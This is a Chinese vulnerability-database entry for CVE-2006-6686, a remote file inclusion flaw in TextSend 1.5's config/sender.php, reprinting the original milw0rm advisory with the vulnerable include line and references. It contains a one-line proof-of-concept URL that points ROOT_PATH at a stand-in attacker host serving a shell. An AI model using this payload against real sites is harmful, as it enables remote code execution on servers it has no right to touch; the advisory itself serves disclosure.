TextSend 'Sender.PHP'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111809 漏洞类型 输入验证
发布时间 2006-12-20 更新时间 2006-12-22
CVE编号 CVE-2006-6686 CNNVD-ID CNNVD-200612-466
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/2965
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200612-466
|漏洞详情
CarsenKlockTextSend1.5的sender.php脚本存在PHP远程文件包含漏洞,远程攻击者可以借助ROOT_PATH参数中的URL执行任意PHP代码。
|漏洞EXP
+-------------------------------------------------------------------------------------------
+ TextSend <= 1.5 (config/sender.php) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Vendor ............: http://www.textsend.info/
+ Affected Software .: TextSend <= 1.5
+ Download ..........: http://www.textsend.info/download/TextSendv1.5.zip
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ TextSend config/sender.php does not initialize the $ROOT_PATH variable before using it to
+ include files, assuming register_globals = on, we can initialize the variable in a query
+ string and include a remote file of our choice.
+
+ Vulnerable Code:
+ config/sender.php, line(s) 10:
+ -> include ("$ROOT_PATH/config.php");
+
+ Proof Of Concept:
+ http://[target]/[path]/config/sender.php?ROOT_PATH=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-20]
|参考资料

来源:BID
名称:21690
链接:http://www.securityfocus.com/bid/21690
来源:VUPEN
名称:ADV-2006-5097
链接:http://www.frsirt.com/english/advisories/2006/5097
来源:MILW0RM
名称:2965
链接:http://www.milw0rm.com/exploits/2965
来源:SECUNIA
名称:23458
链接:http://secunia.com/advisories/23458
来源:MILW0RM
名称:2965
链接:http://milw0rm.com/exploits/2965